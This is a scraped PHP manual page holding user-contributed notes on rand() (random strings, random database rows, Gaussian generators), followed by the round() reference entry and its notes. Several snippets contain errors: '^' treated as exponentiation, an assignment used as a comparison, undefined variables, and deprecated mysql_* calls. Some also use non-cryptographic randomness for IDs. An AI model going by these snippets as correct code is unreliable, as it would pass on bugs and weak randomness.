rand() has a granularity of getrandmax() which means that if you're on a Windows system where getrandmax()==32767 then specifying a range greater than 0-32767 will still only give 32768 unique values. Specifying min=0 and max > getrandmax()+1 where max == 2^n or max == 2^n-1 will return numbers that are multiples of some 2^m where (getrandmax()+1) * 2^m == 2^n.

<?php
function gcd($x, $y) { // If gmp_gcd() is not available
  for (;;) {
    if ($x == 0) return $y;
      else $y %= $x;
    if ($y == 0) return $x;
      else $x %= $y;
  }
}

//$rand_max = 0xFFFFFE; // This gives 1
  $rand_max = 0xFFFFFF; // This gives 512
  $rand_max = 0x1000000; // This gives 512
//$rand_max = 0x1000001; // This gives 1

$gcd = rand(0, $rand_max);
for ($i = 0; $i < 1000; ++$i) {
  $gcd = gcd($gcd, rand(0, $rand_max));
}
print($gcd);
?>

I would suggest always using mt_rand() instead as a good habit to get into.
shiawase at gmail dot com 02-Aug-2011 07:32
Another one-liner to generate strings:
<?php
substr(str_shuffle(str_repeat('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789',5)),0,5);
?>
The strings can be repeated to have the possibility that a character appears multiple times.
ilya dot iz at i dot ua 27-Jul-2011 08:09
I had to come up with a quick way to get a random row from a table, and came up with the following:

<?php
$query = "SELECT `id` FROM [TABLE]";
$result = mysql_query($query, $link);
$num = mysql_num_rows($result);
if ($num > 0) {
    // Array the ID's...
    $id_array = array();
    while ($row = mysql_fetch_assoc($result)) {
        $id_array []=$row["id"];
    }
    $query = "SELECT * FROM [TABLE] WHERE `id`=".$id_array[rand(0, (count($id_array)-1))];
    $result = mysql_query($query, $link);
    $row = mysql_fetch_assoc($result);
    // ...
}
?>

LOL
SELECT * from [TABLE] ORDER BY rand() LIMIT 1
Hamza Kubba 26-May-2011 06:47
Regarding getting a random row from a table in MySQL (or Postgres), it is better to offload that to the database rather than doing one query to grab tons of data from the database, then a second query to fetch one row.

I.e., this is far more efficient for small to medium sized tables (i.e. less than 1 mil. rows):

SELECT * FROM [TABLE] ORDER BY RAND() LIMIT 1;

For large tables, this is both easy to implement and efficient:

SELECT COUNT(id) AS number_of_rows FROM [TABLE];

then something alone the lines of:

<?php
$sql = "SELECT * FROM [TABLE] LIMIT 1 OFFSET ".(rand(0, $number_of_rows - 1));
// ...
?>
Alex Khimch alex at khim dot removeit dot ich dot org 19-Mar-2011 01:41
Random is NOT actually random.

It is easily illustrated by multiplying rand(1,500) by rand(1,500) and showing the output on the image:

<?php
header("Content-type: image/png");
$img = imagecreatetruecolor(500,500);

$ink = imagecolorallocate($img,255,255,255);

for($i=0;$i<500;$i++) {
  for($j=0;$j<500;$j++) {
  imagesetpixel($img, rand(1,500), rand(1,500), $ink1);
  }
}

imagepng($img);
imagedestroy($img);

?>

I expected to get pixel noise, but instead one can see plain diagonal lines.
szeryf.wordpress.com 24-Feb-2011 11:26
Much easier way to generate random string of numbers and letters:

<?php
$n = rand(10e16, 10e20);
echo base_convert($n, 10, 36);
?>

This generates strings of about 11 characters. Experiment with the range for rand() if you want shorter or longer.
Jesse 21-Dec-2010 11:13
I had to come up with a quick way to get a random row from a table, and came up with the following:

<?php
$query = "SELECT `id` FROM [TABLE]";
$result = mysql_query($query, $link);
$num = mysql_num_rows($result);
if ($num > 0) {
    // Array the ID's...
    $id_array = array();
    while ($row = mysql_fetch_assoc($result)) {
        $id_array []=$row["id"];
    }
    $query = "SELECT * FROM [TABLE] WHERE `id`=".$id_array[rand(0, (count($id_array)-1))];
    $result = mysql_query($query, $link);
    $row = mysql_fetch_assoc($result);
    // ...
}
?>
Alireza Eliaderani 10-Sep-2010 02:18
Random integers with normal distribution,
it's not scientifically approved, but worked for me.

<?php
/*
* @param float  $mean, desired average
* @param number $sd, number of items in array
* @param number $min, minimum desired random number
* @param number $max, maximum desired random number
* @return array
*/
function array_distribute($mean,$sd,$min,$max){
    $result = array();
    $total_mean = intval($mean*$sd);
    while($sd>1){
        $allowed_max = $total_mean - $sd - $min;
        $allowed_min = intval($total_mean/$sd);
        $random = mt_rand(max($min,$allowed_min),min($max,$allowed_max));
        $result[]=$random;
        $sd--;
        $total_mean-=$random;
    }
    $result[] = $total_mean;
    return $result;
}
?>
liveonaware [at] gmail [dot] com 31-May-2010 08:16
<?php
//To Pull 7 Unique Random Values Out Of AlphaNumeric

//removed number 0, capital o, number 1 and small L
//Total: keys = 32, elements = 33
$characters = array(
"A","B","C","D","E","F","G","H","J","K","L","M",
"N","P","Q","R","S","T","U","V","W","X","Y","Z",
"1","2","3","4","5","6","7","8","9");

//make an "empty container" or array for our keys
$keys = array();

//first count of $keys is empty so "1", remaining count is 1-6 = total 7 times
while(count($keys) < 7) {
    //"0" because we use this to FIND ARRAY KEYS which has a 0 value
    //"-1" because were only concerned of number of keys which is 32 not 33
    //count($characters) = 33
    $x = mt_rand(0, count($characters)-1);
    if(!in_array($x, $keys)) {
       $keys[] = $x;
    }
}

foreach($keys as $key){
   $random_chars .= $characters[$key];
}
echo $random_chars;
?>
Anonymous 05-Mar-2010 06:41
Generate a random 5 character A-Z0-9  string

<?php
for ($i=0; $i<6; $i++) {
    $d=rand(1,30)%2;
    echo $d ? chr(rand(65,90)) : chr(rand(48,57));
}
?>

# php -r 'for ($i=0; $i<6; $i++) { $d=rand(1,30)%2; echo $d ? chr(rand(65,90)) : chr(rand(48,57)); } echo "\n";'
14BW1A
mike at marylandwebsites dot net 23-Feb-2010 06:42
Rather then counting the rows or running the RAND in my query, I find this to work just fine.
This code is used to display business highlights at random

Would love to get feedback on this

<?php
// First get the last id from the table

$SQL = "SELECT * FROM HIGHLIGHTS ORDER BY highlight_id DESC LIMIT 1";
$result = mysql_query( $SQL );
while( $row = mysql_fetch_array( $result ) ) {
$ending_id = $row["highlight_id"];
}

// I only want the 5 most recent entries
// So I just subtract 5 from the last ID

$starting_id = $ending_id - 5;

// Because I we don't want a nagitive number I just
// make sure that the starting ID is at least 1

if($starting_id <= 0){
    $starting_id = "1";
    }

// now I run the the $starting_id $ending_id at RAND

$howey = rand($starting_id, $ending_id);

// Now I use howey as my id

$SQL = "SELECT * FROM HIGHLIGHTS WHERE highlight_id = '$howey'";
$result = mysql_query( $SQL );
while( $row = mysql_fetch_array( $result ) ) {
$highlight_id = $row["highlight_id"];
$highlight_title = $row["highlight_title"];
}
echo "$highlight_id $highlight_title";
?>
djindjojlo AT gmail DOT com 20-Feb-2010 05:52
a very easy random letters and numbers... one of my beginers scripts :)

<?php

$abc= array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z");
$num= array("0", "1", "2", "3", "4", "5", "6", "7", "8", "9");
echo $abc[rand(0,25)];
echo $num[rand(0,9)];
?>
John Galt 02-Jan-2010 11:24
Another way to create an array of random numbers where there are no identical numbers.

($n = number of random numbers to return in the array
$min = minimum number
$max = maximum number)

<?php
 function uniqueRand($n, $min = 0, $max = null)
 {
  if($max === null)
   $max = getrandmax();
  $array = range($min, $max);
  $return = array();
  $keys = array_rand($array, $n);
  foreach($keys as $key)
   $return[] = $array[$key];
  return $return;
 }
?>
Hugo Scott hrmscott at hotmail dot com 29-Jul-2009 07:52
Here's a simple function to generate a random date between a start date and an end date.

It is inclusive of BOTH dates - so using dates 2009-04-01 and 2009-04-03 would generate a random date that could be 2009-04-01, 2009-04-02 or 2009-04-03.

It won't work if the end date is prior to the start date and if you use a non-existant date (eg 2009-02-30) it defaults to 1970-01-01

the longer version:
<?php
function makeRandomDateInclusive($startDate,$endDate){
    $days = round((strtotime($endDate) - strtotime($startDate)) / (60 * 60 * 24));
    $n = rand(0,$days);
    return date("Y-m-d",strtotime("$startDate + $n days"));
}
?>

and the one-line version for compactness freaks:
<?php
function makeRandomDateInclusive($startDate,$endDate){
    return date("Y-m-d",strtotime("$startDate + ".rand(0,round((strtotime($endDate) - strtotime($startDate)) / (60 * 60 * 24)))." days"));
}
?>

it is called like this
<?php
echo makeRandomDateInclusive('2009-04-01','2009-04-03');
?>
Hope this is of some use to someone
Greg R. 15-Jun-2009 04:49
I thought this function (random color) might be of use to someone [to create and return a random hex for HTML colors]:

<?php
function get_random_color()
{
    for ($i = 0; $i<6; $i++)
    {
        $c .=  dechex(rand(0,15));
    }
    return "#$c";
}
?>
alex at bimpson dot com 15-Jun-2009 09:30
A very easy method for generating for generating an array of UNIQUE random numbers:

<?php

$rand = array();
while (count($rand) < $total ) {
    $r = mt_rand($min,$max);
    if ( !in_array($r,$rand) ) {
        $rand[] = $r;
    }
}

?>

whereby $total is the number of unique random numbers you want, $min is the lowest possible value and $max is the highest possible value.
david [at] ddrewdesign [dot] com 26-May-2009 06:21
To Jano and Peta:

Thanks for the code. In real world usage, I only had one problem with it: It will never return the first result of the array (or it will return nothing if there's only one item in the array). To remedy this, I simply subtracted 1 from

<?php
$rand = rand(1,$max);
?>

like so:

<?php
$rand = rand(1,$max)-1;
?>

Thanks though, for the code you supplied. It was exactly what I needed.
kyle dot florence [@t] gmail dot com 08-May-2009 03:23
Improved random string generation function:

<?php
// Generate a random character string
function rand_str($length = 32, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890')
{
    // Length of character list
    $chars_length = (strlen($chars) - 1);

    // Start our string
    $string = $chars{rand(0, $chars_length)};

    // Generate random string
    for ($i = 1; $i < $length; $i = strlen($string))
    {
        // Grab a random character from our list
        $r = $chars{rand(0, $chars_length)};

        // Make sure the same two characters don't appear next to each other
        if ($r != $string{$i - 1}) $string .=  $r;
    }

    // Return the string
    return $string;
}
?>
admin at djs-music dot com 25-Apr-2009 10:13
A nice function to generate a random string, using any character:

<?php
function generateRandStr($length){
      $randstr = "";
      for($i=0; $i<$length; $i++){
         $randnum = mt_rand(0,61);
         if($randnum < 10){
            $randstr .= chr($randnum+48);
         }else if($randnum < 36){
            $randstr .= chr($randnum+55);
         }else{
            $randstr .= chr($randnum+61);
         }
      }
      return $randstr;
   }
?>

Simply use:
generateRandStr(10);

Sample output: $%29zon(4f
petabyte.se 15-Mar-2009 08:56
As an further optimization on janoserki[at]gmail[dot]com previous post i would recommend that you optimize you first part of php/sql code to something like this.

<?php
// estimate the number of rows in a table
$lekerdezes = mysql_query("select count(*) as rows from table");
while ($row = mysql_fetch_assoc($lekerdezes))
{
    $max = $row["rows"];
}
?>
the count(*) is much faster for the database than grabbing the hole dataset from the table.
janoserki [at] gmail [dot] com 04-Mar-2009 12:16
Easy way for mysql: random row
the original form is: "... order by rand()"
but this is not the best way, because it's very slow by a big database (it can take more minutes to complete the request!)
My suggestion:

<?php
// estimate the number of rows in a table
$lekerdezes = mysql_query("select * from table");
$max = mysql_num_rows($lekerdezes);

// pick one
$rand = rand(1,$max);

$lekerdezes2 = mysql_query("select * from table limit $rand, 1");

// that's all folks :)

?>
whatchildisthis at gmail dot com 06-Dec-2008 04:00
I also enjoy making one-liners.

Here's a non-regular expression approach. It generates a random 32 character string consisting of, by default, only A-Z, a-z, and 0-9, but you can change the value of $a for other characters. The random string will be in variable $s after this line.

<?php
for ($s = '', $i = 0, $z = strlen($a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789')-1; $i != 32; $x = rand(0,$z), $s .= $a{$x}, $i++);
?>

If you don't want the same character to appear beside itself, use this:

<?php
for ($i = 0, $z = strlen($a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890')-1, $s = $a{rand(0,$z)}, $i = 1; $i != 32; $x = rand(0,$z), $s .= $a{$x}, $s = ($s{$i} == $s{$i-1} ? substr($s,0,-1) : $s), $i=strlen($s));
?>

For those of you who want both as a function, use this:

<?php
function rand_chars($c, $l, $u = FALSE) {
 if (!$u) for ($s = '', $i = 0, $z = strlen($c)-1; $i < $l; $x = rand(0,$z), $s .= $c{$x}, $i++);
 else for ($i = 0, $z = strlen($c)-1, $s = $c{rand(0,$z)}, $i = 1; $i != $l; $x = rand(0,$z), $s .= $c{$x}, $s = ($s{$i} == $s{$i-1} ? substr($s,0,-1) : $s), $i=strlen($s));
 return $s;
}
?>

string $c is the string of characters to use.
integer $l is how long you want the string to be.
boolean $u is whether or not a character can appear beside itself.

Examples:
rand_chars("ABCEDFG", 10) == GABGFFGCDA
rand_chars("ABCEDFG", 10, TRUE) == CBGFAEDFEC
adam at greatbigmassive dot com 02-Dec-2008 05:10
I've noticed alot of people doing long winded random string generators so I thought I'd post my one liner to give a bit of a fresh approach.

The concept is simple. The rand() function generates a number made up of 10 different digits. (0,1,2,3,4,5,6,7,8,9).
To generate an equivalent string I only need 10 alpha characters to replace the numbers.

I am using (p,q,r,s,t,u,v,w,x,y). I chose these letters because they don't include any characters that resemble numbers and was the best set generated by the chr() function.

Anyway, to create a 6 character random string I do this:

$rand = preg_replace("/([0-9])/e","chr((\\1+112))",rand(100000,999999));

The length of the string is based on the length of the random number generated.
This would also mean you could generate a random string at a random length too if you wanted.

Adam
amossoma at o2 dot pl 19-Nov-2008 01:40
<?php
function generateRandomString($length = 10, $letters = '1234567890qwertyuiopasdfghjklzxcvbnm')
  {
      $s = '';
      $lettersLength = strlen($letters)-1;

      for($i = 0 ; $i < $length ; $i++)
      {
      $s .= $letters[rand(0,$lettersLength)];
      }

      return $s;
  }
?>
opbarnes 20-Oct-2008 12:33
Generate a random 5 character alpha string:

<?php
print preg_replace('/([ ])/e', 'chr(rand(97,122))', '     ');
?>
szczepan[DoT]Krol #HT# gmail [knowRest] 14-Aug-2008 06:55
Heres another function to generate Random Unique numbers.

<?php
class UniqueRand{
  var $alreadyExists = array();

  function uRand($min = NULL, $max = NULL){
    $break='false';
    while($break=='false'){
      $rand=mt_rand($min,$max);

      if(array_search($rand,$this->alreadyExists)===false){
        $this->alreadyExists[]=$rand;
        $break='stop';
      }else{
        echo " $rand already!  ";
        print_r($this->alreadyExists);
      }
    }
    return $rand;
  }
}
$rand=new UniqueRand();

echo"<b> ". $rand->uRand(0,5)."</b>";
echo"<b> ". $rand->uRand(5,5)."</b>";
echo"<b> ". $rand->uRand(10,5)."</b>";

?>
thomas at tgohome dot com 31-Jul-2008 08:46
You don't need fancy queries to grab a random row(s) from MySQL; it's actually quite simple. In fact, you can do it in a single query.

<?php
$random_rows = array();

$query = mysql_query("SELECT * FROM tablename ORDER BY RAND() LIMIT 1");

while($row = mysql_fetch_array($query))
{
     $random_rows[] = $row;
}
?>

You can extend LIMIT to any number, so you can select 10 random rows. Also, because it uses ORDER BY the rows are always unique if you select 10 rows, for example.

This might work on other database systems such as MsSQL and PostgreSQL but I haven't tested them.
Anonymous 30-Jul-2008 04:29
quick way to generate randomish numbers and simple strings.
no messing around with functions, so you can just pop the line into the middle of your existing code.

not the most perfect for sure, but ok for plenty of situations...

<?php

$random_number = intval( "0" . rand(1,9) . rand(0,9) . rand(0,9) . rand(0,9) . rand(0,9) ); // random(ish) 5 digit int

$random_string = chr(rand(65,90)) . chr(rand(65,90)) . chr(rand(65,90)) . chr(rand(65,90)) . chr(rand(65,90)); // random(ish) 5 character string

?>

hope someone finds it useful for somthing.

regards,
deeeeeen alxndr0u
gacek at my dot planet 29-May-2008 04:36
For some people who would need to generate random string:

<?php

function random_letters ($numofletters) {
    if (!isset($numofletters)) $numofletters = 10; // if $numofletters is not specified sets to 10 letters
    $literki = array('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'R', 'S', 'T', 'U', 'W');
    $ilosc_literek = count($literki);
    for ($licz = 0; $licz < $numofletters; $licz++) {
    $rand = rand(0, $ilosc_literek-1);
    $vercode = $vercode.$literki[$rand];
    }
}

?>
davidsteinsland [at] gmail [dot] com 26-Apr-2008 12:27
emad_ramahi at hotmail dot com:
I've actually noticed that with a large dataset (100k rows), the query dramatically slows down the server and performance is way too bad.

The way I see it, you have to workable solutions:

Using PHP:

<?php
//$Table holds the name of the table we're getting the random row from
//$Rows specifies how many rows we need to fetch
function mysql_rand ($Query, $Rows = 1) {
    //getting the table name from $query
    //what you can do, is replace the $query argument with $table,
    //this way to dont have to search for the table's name
    $SQL = sprintf ('SELECT COUNT(*) FROM %s', substr ($query, stripos ($query, 'from')+5, strpos ($query, ' ')));

    $Max = mysql_result (mysql_query ($SQL), 0);
    $Random = rand (0, $Max);

    //If the random number is 99, and the database only has 100 rows
    //We'll subtract the random number, so we don't exceed 100, thus preventing a MySQL error message
    return $Query . sprintf ('LIMIT %d, %d', ($Max < $Rows) ? 0 : (($Random > $Max - $Rows) ? $Max - $Rows : $Random), $Rows);
}

//Instead of using MySQL's RAND(), we use LIMIT to fetch rows
//E.g. LIMIT 5,9 fetches from row 5, and the subsequent 9
$SQL = mysql_rand ('SELECT row FROM table'); //SELECT row FROM table LIMIT x, y
?>

or SQL:
SELECT * FROM Table T JOIN (SELECT FLOOR(MAX(ID)*RAND()) AS ID FROM Table) AS x ON T.ID >= x.ID LIMIT 1;
emad_ramahi at hotmail dot com 09-Mar-2008 01:16
Hi All,
For those whom wants to get a random value from MySQL:
select coumnName from TableName order by rand()
Anonymous 25-Feb-2008 12:37
Using the script below with rand() instead of mt_rand(),
I was suprised to find many "words" and part of "phrases" in common.

mt_rand() is highly recomanded when you want to build test cases.

<?php
 $ressbdd = mysql_connect("localhost", "usr", "pass")
  or  die("Could not connect: " . mysql_error());
 for($i=0;$i<100000;$i++){
  $xx1=mt_rand(15,80);
  $texte = phrase($xx1);
  $sql = 'INSERT into phrases.valeurs set valeur = \'' . $texte . '\'';
  mysql_query( $sql , $ressbdd );
 }
//=============================================
function phrase($n){
 $phrase='';
 for($i=0;$i<$n;$i++){
  $xx2=mt_rand(2,20);
  $phrase.=mot($xx2) . ' ';
 }
 return(substr($phrase,0,-1).'.'); // phrase ends with a .
}
//=============================================
function mot($n){
 if($n<=0)  return 'hello';
 if($n>=31) return 'world';
 $voyelle =Array('a','e','i','o','u','y');
 $consonne=Array(
'b','c','d','f','g','h','j','k','l','m',
'n','p','q','r','s','t','v','w','x','z');
 $mot='';
 for($i=0;$i<$n;$i++){
  if($i%2==0){
   $xx3=mt_rand(0,19);
   $mot.=$consonne[$xx3];
  }else{
   $xx4=mt_rand(0,5);
   $mot.=$voyelle[$xx4];
  }
 }
 return $mot;
}
?>
Anonymous 06-Nov-2007 01:24
Note, the function used by PHP to constrain a random number between (min, max) is the following:

$number = $min + (($max - $min + 1) * ($number / ($rand_max + 1));

where the following:
$number - the initially generated random number
$min - the minimum in the range
$max - the maximum in the range
$rand_max - the maximum possible random value

What this algorithm does is constrain the generated number to a 0-1 range, then multiply it against your range, mapping the two to each other.

In practice you'll see the following results:
For a generated $number of 16384 and a $rand_max of 32768:
rand(0, 10) = 5
rand(0, 100) = 50
rand(0, 1000) = 500

with the additional property that if the range you're asking for is larger than $rand_max, random numbers will be in a multiple of $max/$rand_max.
Ishtar 10-Sep-2007 06:18
A small comment on phpdev-dunnbypauls conclusion that rand() only generates numbers that are a multiply of 3.
<?php
$n = rand(0,100000); // with MAX_RAND=32768
?>
Since, 100000/32768=3.05 you get multiples of 3. The random integer will be multiplied by 3.05 to fit between 0 and 100000. rand() works fine, if you don't ask for bigger numbers then RAND_MAX.
rok dot kralj at gmail dot com 16-Jun-2007 12:43
rand function returns just a whole numbers. If you want a random float, then here's an elegant way:

<?php
function random_float ($min,$max) {
   return ($min+lcg_value()*(abs($max-$min)));
}
?>
bozo_z_clown at yahoo dot com 23-May-2007 05:36
Note that the automatic seeding seems to be done with the current number of seconds which means you can get the same results for several runs on a fast server.  Either call srand() yourself with a more frequently changing seed or use mt_rand() which doesn't appear to suffer from the problem.
jont at live dot co dot uk 05-Apr-2007 03:42
isn't this just a simpler way of making a random id for somthing? I mean i know that there is a very slight chance that a duplicate could be made but its a very, very, very small chance, nearly impossible.

$rand = mt_rand(0, 32);
$code = md5($rand . time());
echo "$code";

and if you don't want it the md5 can be removed, I've just added it as a prefer it there :)

Jon
phpdev at dunnbypaul dot net 07-Mar-2007 08:51
Here's an interesting note about the inferiority of the rand() function. Try, for example, the following code...

<?php
$r = array(0,0,0,0,0,0,0,0,0,0,0);
for ($i=0;$i<1000000;$i++) {
  $n = rand(0,100000);
  if ($n<=10) {
    $r[$n]++;
  }
}
print_r($r);
?>

which produces something similar to the following output (on my windows box, where RAND_MAX is 32768):

Array
(
    [0] => 31
    [1] => 0
    [2] => 0
    [3] => 31
    [4] => 0
    [5] => 0
    [6] => 30
    [7] => 0
    [8] => 0
    [9] => 31
    [10] => 0
)

Within this range only multiples of 3 are being selected. Also note that values that are filled are always 30 or 31 (no other values! really!)

Now replace rand() with mt_rand() and see the difference...

Array
(
    [0] => 8
    [1] => 8
    [2] => 14
    [3] => 16
    [4] => 9
    [5] => 11
    [6] => 8
    [7] => 9
    [8] => 7
    [9] => 7
    [10] => 9
)

Much more randomly distributed!

Conclusion: mt_rand() is not just faster, it is a far superior algorithm.
Patrick Daryll G. 02-Mar-2007 06:51
Using rand()%x is faster than rand(0,x) yes, but it is wrong.
Consider the following example:
RAND_MAX is 32768 (like on Windows for example)
You use rand()%30000
Imagine rand() returns a value between 30000 and 32768.
Modulo could make any value between 0 and 2768, but not any between 2769 and 29999 (except the value is below 29999).
This would double the chance of getting a number between 0 and 2768, which is speaking against the principles of randomness.
ludicruz at yahoo dot com 27-Sep-2006 05:42
frank, nick at nerdynick dot com, and kniht
this is now O(n) instead of O(n^2) ish...

<?php
function rand_permute($size, $min, $max)
{
    $retval = array();
    //initialize an array of integers from $min to $max
    for($i = $min;$i <= $max;$i++)
    {
        $retval[$i] = $i;
    }
    //start with the the first index ($min).
    //randomly swap this number with any other number in the array.
    //this way we guarantee all numbers are permuted in the array,
    //and we assure no number is used more than once (technically reiterating prev line).
    //therefore we don't have to do the random checking each time we put something into the array.
    for($i=$min; $i < $size; $i++)
    {
        $tmp = $retval[$i];
        $retval[$i] = $retval[$tmpkey = rand($min, $max)];
        $retval[$tmpkey] = $tmp;
    }
    return array_slice($retval, 0, $size);
}
?>
umpalump at poczta dot neostrada dot pl 13-Jun-2005 05:32
Random numbers with Gauss distribution (normal distribution).
A correct alghoritm. Without aproximations, like Smaaps'
It is specially usefull for simulations in physics.
Check yourself, and have a fun.

<?php

function gauss()
{   // N(0,1)
    // returns random number with normal distribution:
    //   mean=0
    //   std dev=1

    // auxilary vars
    $x=random_0_1();
    $y=random_0_1();

    // two independent variables with normal distribution N(0,1)
    $u=sqrt(-2*log($x))*cos(2*pi()*$y);
    $v=sqrt(-2*log($x))*sin(2*pi()*$y);

    // i will return only one, couse only one needed
    return $u;
}

function gauss_ms($m=0.0,$s=1.0)
{   // N(m,s)
    // returns random number with normal distribution:
    //   mean=m
    //   std dev=s

    return gauss()*$s+$m;
}

function random_0_1()
{   // auxiliary function
    // returns random number with flat distribution from 0 to 1
    return (float)rand()/(float)getrandmax();
}

?>

JanS
student of astronomy
on Warsaw University
smaaps at kaldamar dot de 06-Jun-2005 10:44
Lately I needed some random numbers with a gaussian (normal) distribution, not evenly distributed as the numbers generated by rand(). After googling a while, I found out that there is no perfect algrorithm that creates such numbers out of evenly distruted random numbers but a few methods that have similar effect. The following function implements all three algorithms I found- The the last two methods create numbers where you can find a lower and upper boundary and the first one will create a number from time to time (such as one in every 10000) that may be very far from the average value. Have fun testing and using it.

<?php
function gauss($algorithm = "polar") {
    $randmax = 9999;

    switch($algorithm) {

        //polar-methode by marsaglia
        case "polar":
            $v = 2;
            while ($v > 1) {
                $u1 = rand(0, $randmax) / $randmax;
                $u2 = rand(0, $randmax) / $randmax;

                $v = (2 * $u1 - 1) * (2 * $u1 - 1) + (2 * $u2 - 1) * (2 * $u2 - 1);
            }

            return (2* $u1 - 1) * (( -2 * log($v) / $v) ^ 0.5);

        // box-muller-method
        case "boxmuller":
            do {
                $u1 = rand(0, $randmax) / $randmax;
                $u2 = rand(0, $randmax) / $randmax;

                $x = sqrt(-2 * log($u1)) * cos(2 * pi() * $u2);
            } while (strval($x) == "1.#INF" or strval($x) == "-1.#INF");

            // the check has to be done cause sometimes (1:10000)
            // values such as "1.#INF" occur and i dont know why

            return $x;

        // twelve random numbers
        case "zwoelfer":
            $sum = 0;
            for ($i = 0; $i < 12; $i++) {
                $sum += rand(0, $randmax) / $randmax;
            }
            return $sum;
     }
}
?>
relsqui at armory dot com 21-Jan-2005 02:23
Don't forget, it's faster to use bitwise operations when you need a random number that's less than some power of two. For example,

<?php
rand()&1;
// instead of
rand(0,1);
// for generating 0 or 1,

rand()&3;
// instead of
rand(0,3);
// for generating 0, 1, 2, or 3,

rand()&7;
// instead of
rand(0,7)
// for generating 0, 1, 2, 3, 4, 5, 6, or 7,
?>

and so on. All you're doing there is generating a default random number (so PHP doesn't have to parse any arguments) and chopping off the piece that's useful to you (using a bitwise operation which is faster than even basic math).
rad2deg
round
Math Functions


Rounds a float

rand
sin
Math Functions
PHP Manual

round

(PHP 4, PHP 5)

round — Rounds a float

Description

float round ( float $val [, int $precision = 0 [, int $mode = PHP_ROUND_HALF_UP ]] )

Returns the rounded value of val to specified precision (number of digits after the decimal point). precision can also be negative or zero (default).

Note: PHP doesn't handle strings like "12,300.2" correctly by default. See converting from strings.

Parameters

val

The value to round

precision

The optional number of decimal digits to round to.

mode

One of PHP_ROUND_HALF_UP, PHP_ROUND_HALF_DOWN, PHP_ROUND_HALF_EVEN, or PHP_ROUND_HALF_ODD.

Return Values

The rounded value

Examples

Example #1 round() examples

<?php
echo round(3.4);         // 3
echo round(3.5);         // 4
echo round(3.6);         // 4
echo round(3.6, 0);      // 4
echo round(1.95583, 2);  // 1.96
echo round(1241757, -3); // 1242000
echo round(5.045, 2);    // 5.05
echo round(5.055, 2);    // 5.06
?>

Example #2 mode examples

<?php
echo round(9.5, 0, PHP_ROUND_HALF_UP);   // 10
echo round(9.5, 0, PHP_ROUND_HALF_DOWN); // 9
echo round(9.5, 0, PHP_ROUND_HALF_EVEN); // 10
echo round(9.5, 0, PHP_ROUND_HALF_ODD);  // 9

echo round(8.5, 0, PHP_ROUND_HALF_UP);   // 9
echo round(8.5, 0, PHP_ROUND_HALF_DOWN); // 8
echo round(8.5, 0, PHP_ROUND_HALF_EVEN); // 8
echo round(8.5, 0, PHP_ROUND_HALF_ODD);  // 9
?>

Changelog

Version | Description
5.3.0 | The mode parameter was introduced.
5.2.7 | The inner workings of round() was changed to conform to the C99 standard.

See Also

  • ceil() - Round fractions up
  • floor() - Round fractions down
  • number_format() - Format a number with grouped thousands

User Contributed Notes

LT Workshop 21-Dec-2011 02:10
<?php
/**
 * Normal Round Up Method
 *
 * @param double $val
 * @param int $precision
 * @return double
 */

function round_up ( $val, $precision ) {
    $p = pow ( 10, $precision );
    $a = $p * $val;
    $b = ceil($a);
    if((round($b - $a, 2) > 0.5)){
        $b -= 1.0;
    }
    return $b / $p;
}
?>
James Dudeck 08-Dec-2011 03:41
Rounding decimal points

<?php
    function rfloor($real,$decimals = 2) {
        return substr($real, 0,strrpos($real,'.',0) + (1 + $decimals));
    }

    function rceil($real,$decimals = 2) {
        $newreal = substr($real, 0,strrpos($real,'.',0) + (1 + $decimals));
        if($real[strlen($newreal)] > 0) {
            $newreal[strlen($newreal) - 1] += 1;
        }
        return $newreal;
    }

    function rround($real,$decimals = 2,$halfdown = FALSE) {
        $newreal = substr($real, 0,strrpos($real,'.',0) + (1 + $decimals));
        if(($halfdown == FALSE) && ($real[strlen($newreal)] = 5)) {
            $newreal[strlen($newreal) - 1] += 1;
        }
        else if($real[strlen($newreal)] > 5) {
            $newreal[strlen($newreal) - 1] += 1;
        }
        return $newreal;
    }
?>

Usage:
rceil(12.12146321,2); //12.13 -- as long as the value is greater than 0, round up.
rfloor(12.12946321,2); //12.12 -- drop everything after the number of decimal places
rround(12.12546321,2); //12.13 -- round half up
rround(12.12546321,2,TRUE); //12.12 -- round half down
christian at deligant dot net 15-Sep-2011 01:24
this function (as all mathematical operators) takes care of the setlocale setting, resulting in some weirdness when using the result where the english math notation is expected, as the printout of the result in a width: style attribute!

<?php
$a=3/4;
echo round($a, 2); // 0.75

setlocale(LC_ALL, 'it_IT@euro', 'it_IT', 'it');
$b=3/4;
echo round($b,2); // 0,75
?>
Anonymous 25-Feb-2011 09:08
Round function with PHP_ROUND_HALF_UP conversion

<?php
function round_up ( $value, $precision ) {

    $pow = pow ( 10, $precision );

    return ( ceil ( $pow * $value ) + ceil ( $pow * $value - ceil ( $pow * $value ) ) ) / $pow;

}

var_dump ( round_up ( 499.9440000046, 3 ) ); // float(499.945)
?>
cheezfan at gmail dot com 06-Feb-2011 06:39
If you're confused about how precision works, these mean the same:

<?php
round($string,$precision);
round($string*10^$precision);
?>
omnibus at omnibus dot edu dot pl 19-Nov-2010 02:26
Beware strange behaviour if number is negative and precision is bigger than the actual number of digits after comma.

round(-0.07, 4);

returns

-0.07000000000000001

So if you validate it against a regular expression requiring the maximum amount of digits after comma, you'll get into trouble.
Anonymous 07-Oct-2010 04:07
Here is function that rounds to a specified increment, but always up. I had to use it for price adjustment that always went up to $5 increments.

<?php
function roundUpTo($number, $increments) {
    $increments = 1 / $increments;
    return (ceil($number * $increments) / $increments);
}
?>
feha at vision dot to 27-Aug-2010 07:59
Here is a short neat function to round minutes (hour) ...

<?php

function minutes_round ($hour = '14:03:32', $minutes = '5', $format = "H:i")
{
    // by Femi Hasani [www.vision.to]
    $seconds = strtotime($hour);
    $rounded = round($seconds / ($minutes * 60)) * ($minutes * 60);
    return date($format, $rounded);
}

?>

You decide to round to nearest minute ...
example will produce : 14:05
lossantis at ig dot com dot br 15-Jul-2010 07:02
The PHP_ROUND_HALF_UP is unabled to less php 5.3, but I've a solution for this:

